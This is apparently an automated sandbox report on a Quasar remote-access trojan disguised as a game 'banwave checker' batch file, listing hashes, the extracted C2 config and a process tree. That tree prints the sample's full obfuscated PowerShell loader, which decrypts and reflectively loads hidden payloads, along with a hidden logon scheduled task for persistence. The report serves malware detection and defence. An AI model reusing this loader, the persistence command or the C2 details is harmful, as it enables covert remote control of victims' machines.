quasar | 918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036

Analysis

max time kernel
44s
max time network
47s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
19/05/2024, 01:08

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Reason

Machine shutdown

General

Target
NSPEBanwaveChecker.bat
Size 1.7MB
Sample240519-bhck2sad73
SHA256 918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036
MD5 a86b86c2e7182356c6149674ddc26848
SHA1 322292824444ca6a442f881498baac17506eea34
SHA512 2111dd5b4b2ab69980ec8b8a851c2ca29aa97a14585535ff2af1b70432f741126578db5f6c50f8cd3623a7f6a27a8fb4ef8275a536b67415abba24dec7f5e3a9
SSDEEP 24576:2b0CZMqoDtzIt2Ipwh+o4w8VV3fgRihOuReKlOX1+ZfHR9QaAHfimfoK6+nZq:2PcY2lMtYXQZg2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar slave execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0

Botnet

SLAVE

193.34.77.188:6969

Mutex

709ae576-840d-4df5-9c14-3fb7e062cf25

Attributes

encryption_key
8B3D2D2549599D0ED109F63D47FFC788BAA34A06
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Ruthless Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3860-47-0x00000200AAC00000-0x00000200AAF1E000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
1	3860	powershell.exe
3	3860	powershell.exe
4	3860	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2076	powershell.exe
1148	powershell.exe
3860	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2076	powershell.exe
2076	powershell.exe
1148	powershell.exe
1148	powershell.exe
3860	powershell.exe
3860	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeIncreaseQuotaPrivilege	1148	powershell.exe
Token: SeSecurityPrivilege	1148	powershell.exe
Token: SeTakeOwnershipPrivilege	1148	powershell.exe
Token: SeLoadDriverPrivilege	1148	powershell.exe
Token: SeSystemProfilePrivilege	1148	powershell.exe
Token: SeSystemtimePrivilege	1148	powershell.exe
Token: SeProfSingleProcessPrivilege	1148	powershell.exe
Token: SeIncBasePriorityPrivilege	1148	powershell.exe
Token: SeCreatePagefilePrivilege	1148	powershell.exe
Token: SeBackupPrivilege	1148	powershell.exe
Token: SeRestorePrivilege	1148	powershell.exe
Token: SeShutdownPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeSystemEnvironmentPrivilege	1148	powershell.exe
Token: SeRemoteShutdownPrivilege	1148	powershell.exe
Token: SeUndockPrivilege	1148	powershell.exe
Token: SeManageVolumePrivilege	1148	powershell.exe
Token: 33	1148	powershell.exe
Token: 34	1148	powershell.exe
Token: 35	1148	powershell.exe
Token: 36	1148	powershell.exe
Token: SeIncreaseQuotaPrivilege	1148	powershell.exe
Token: SeSecurityPrivilege	1148	powershell.exe
Token: SeTakeOwnershipPrivilege	1148	powershell.exe
Token: SeLoadDriverPrivilege	1148	powershell.exe
Token: SeSystemProfilePrivilege	1148	powershell.exe
Token: SeSystemtimePrivilege	1148	powershell.exe
Token: SeProfSingleProcessPrivilege	1148	powershell.exe
Token: SeIncBasePriorityPrivilege	1148	powershell.exe
Token: SeCreatePagefilePrivilege	1148	powershell.exe
Token: SeBackupPrivilege	1148	powershell.exe
Token: SeRestorePrivilege	1148	powershell.exe
Token: SeShutdownPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeSystemEnvironmentPrivilege	1148	powershell.exe
Token: SeRemoteShutdownPrivilege	1148	powershell.exe
Token: SeUndockPrivilege	1148	powershell.exe
Token: SeManageVolumePrivilege	1148	powershell.exe
Token: 33	1148	powershell.exe
Token: 34	1148	powershell.exe
Token: 35	1148	powershell.exe
Token: 36	1148	powershell.exe
Token: SeIncreaseQuotaPrivilege	1148	powershell.exe
Token: SeSecurityPrivilege	1148	powershell.exe
Token: SeTakeOwnershipPrivilege	1148	powershell.exe
Token: SeLoadDriverPrivilege	1148	powershell.exe
Token: SeSystemProfilePrivilege	1148	powershell.exe
Token: SeSystemtimePrivilege	1148	powershell.exe
Token: SeProfSingleProcessPrivilege	1148	powershell.exe
Token: SeIncBasePriorityPrivilege	1148	powershell.exe
Token: SeCreatePagefilePrivilege	1148	powershell.exe
Token: SeBackupPrivilege	1148	powershell.exe
Token: SeRestorePrivilege	1148	powershell.exe
Token: SeShutdownPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeSystemEnvironmentPrivilege	1148	powershell.exe
Token: SeRemoteShutdownPrivilege	1148	powershell.exe
Token: SeUndockPrivilege	1148	powershell.exe
Token: SeManageVolumePrivilege	1148	powershell.exe
Token: 33	1148	powershell.exe
Token: 34	1148	powershell.exe
Token: 35	1148	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 2016	1260	cmd.exe	82
PID 1260 wrote to memory of 2016	1260	cmd.exe	82
PID 1260 wrote to memory of 2076	1260	cmd.exe	83
PID 1260 wrote to memory of 2076	1260	cmd.exe	83
PID 2076 wrote to memory of 1148	2076	powershell.exe	85
PID 2076 wrote to memory of 1148	2076	powershell.exe	85
PID 2076 wrote to memory of 920	2076	powershell.exe	88
PID 2076 wrote to memory of 920	2076	powershell.exe	88
PID 920 wrote to memory of 1880	920	WScript.exe	89
PID 920 wrote to memory of 1880	920	WScript.exe	89
PID 1880 wrote to memory of 3192	1880	cmd.exe	91
PID 1880 wrote to memory of 3192	1880	cmd.exe	91
PID 1880 wrote to memory of 3860	1880	cmd.exe	92
PID 1880 wrote to memory of 3860	1880	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NSPEBanwaveChecker.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9m3LhdOOnbkpLgZfroZHKVACZM4EdssbtTG9kf35G7Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeVfqudPUXOzBrMZY66Pgw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZuJwS=New-Object System.IO.MemoryStream(,$param_var); $hPqAb=New-Object System.IO.MemoryStream; $FTAcz=New-Object System.IO.Compression.GZipStream($ZuJwS, [IO.Compression.CompressionMode]::Decompress); $FTAcz.CopyTo($hPqAb); $FTAcz.Dispose(); $ZuJwS.Dispose(); $hPqAb.Dispose(); $hPqAb.ToArray();}function execute_function($param_var,$param2_var){ $zhvpZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcvld=$zhvpZ.EntryPoint; $bcvld.Invoke($null, $param2_var);}$SGqmR = 'C:\Users\Admin\AppData\Local\Temp\NSPEBanwaveChecker.bat';$host.UI.RawUI.WindowTitle = $SGqmR;$nsoKu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SGqmR).Split([Environment]::NewLine);foreach ($hvwJs in $nsoKu) { if ($hvwJs.StartsWith('qirvjfQbdGhMEGUUPoFU')) { $bTfWK=$hvwJs.Substring(20); break; }}$payloads_var=[string[]]$bTfWK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_865_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1148
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1880
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9m3LhdOOnbkpLgZfroZHKVACZM4EdssbtTG9kf35G7Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeVfqudPUXOzBrMZY66Pgw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZuJwS=New-Object System.IO.MemoryStream(,$param_var); $hPqAb=New-Object System.IO.MemoryStream; $FTAcz=New-Object System.IO.Compression.GZipStream($ZuJwS, [IO.Compression.CompressionMode]::Decompress); $FTAcz.CopyTo($hPqAb); $FTAcz.Dispose(); $ZuJwS.Dispose(); $hPqAb.Dispose(); $hPqAb.ToArray();}function execute_function($param_var,$param2_var){ $zhvpZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcvld=$zhvpZ.EntryPoint; $bcvld.Invoke($null, $param2_var);}$SGqmR = 'C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat';$host.UI.RawUI.WindowTitle = $SGqmR;$nsoKu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SGqmR).Split([Environment]::NewLine);foreach ($hvwJs in $nsoKu) { if ($hvwJs.StartsWith('qirvjfQbdGhMEGUUPoFU')) { $bTfWK=$hvwJs.Substring(20); break; }}$payloads_var=[string[]]$bTfWK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:3192
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3860
      - C:\Windows\System32\shutdown.exe
        
        "C:\Windows\System32\shutdown.exe" /s /t 0
        6⤵
        
        PID:3488

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a1f055 /state1:0x41c64e6d
1⤵
PID:4296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
MD5 df472dcddb36aa24247f8c8d8a517bd7
SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
MD5 SHA1 SHA512

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StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 4d684f3c0fdaf79abec51fb181b2aef1a9ce532408bdc06d6aa6b0c114b699e7
MD5 b49b4568e58d92adb2364d63f8e93e40
SHA1 2f3ea5c739d4bf93fc706580e91a284d05f8809f
SHA512 2054bf5fc94786910886410a32b3e80a72d6cbc297c8126129c898048224825f520aa134287040abfc19864e672ed2d56ba1dd4ec5e0efca87b2e5c8182da050
MD5 SHA1 SHA512

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__PSScriptPolicyTest_wduq5ul5.cjn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wduq5ul5.cjn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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Windows_Log_865.bat

Path C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat
Size 1.7MB
SHA256 918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036
MD5 a86b86c2e7182356c6149674ddc26848
SHA1 322292824444ca6a442f881498baac17506eea34
SHA512 2111dd5b4b2ab69980ec8b8a851c2ca29aa97a14585535ff2af1b70432f741126578db5f6c50f8cd3623a7f6a27a8fb4ef8275a536b67415abba24dec7f5e3a9
SSDEEP 24576:2b0CZMqoDtzIt2Ipwh+o4w8VV3fgRihOuReKlOX1+ZfHR9QaAHfimfoK6+nZq:2PcY2lMtYXQZg2
MD5 SHA1 SHA512 SSDEEP

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Windows_Log_865.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs
Size 115B
SHA256 876964fdb63f6e86664ad67198f682090bf3fd818b47fd9aec6e661c60ab3ae3
MD5 4a931d0036029623ac0b40d4bb6f33ea
SHA1 66c52ea4e8ebc3d1088f7aeb6a34a527d20b009d
SHA512 e74c5effa4568ea86400cc7ad0af779c490870631796b0c72a85ab6b0923abf23205d7f7092e298f6df30b47f4e188251defd4317905a4619d0bfd499873d1f5
MD5 SHA1 SHA512

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memory/1148-25-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

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memory/1148-30-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

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memory/1148-27-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

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memory/1148-26-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

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memory/2076-13-0x000002C880010000-0x000002C880056000-memory.dmp

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memory/2076-9-0x000002C87FF90000-0x000002C87FFB2000-memory.dmp

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memory/2076-14-0x000002C81A380000-0x000002C81A388000-memory.dmp

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memory/2076-0-0x00007FFEBDBB3000-0x00007FFEBDBB5000-memory.dmp

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memory/2076-12-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

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memory/2076-11-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

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memory/2076-10-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

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memory/2076-15-0x000002C81A750000-0x000002C81A890000-memory.dmp

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memory/2076-48-0x00007FFEBDBB0000-0x00007FFEBE672000-memory.dmp

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memory/3860-47-0x00000200AAC00000-0x00000200AAF1E000-memory.dmp

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memory/3860-49-0x00000200AB510000-0x00000200AB560000-memory.dmp

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memory/3860-50-0x00000200AB620000-0x00000200AB6D2000-memory.dmp

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memory/3860-51-0x00000200ABDF0000-0x00000200ABFB2000-memory.dmp

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memory/3860-54-0x00000200AB560000-0x00000200AB572000-memory.dmp

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memory/3860-55-0x00000200AB5C0000-0x00000200AB5FC000-memory.dmp

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Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads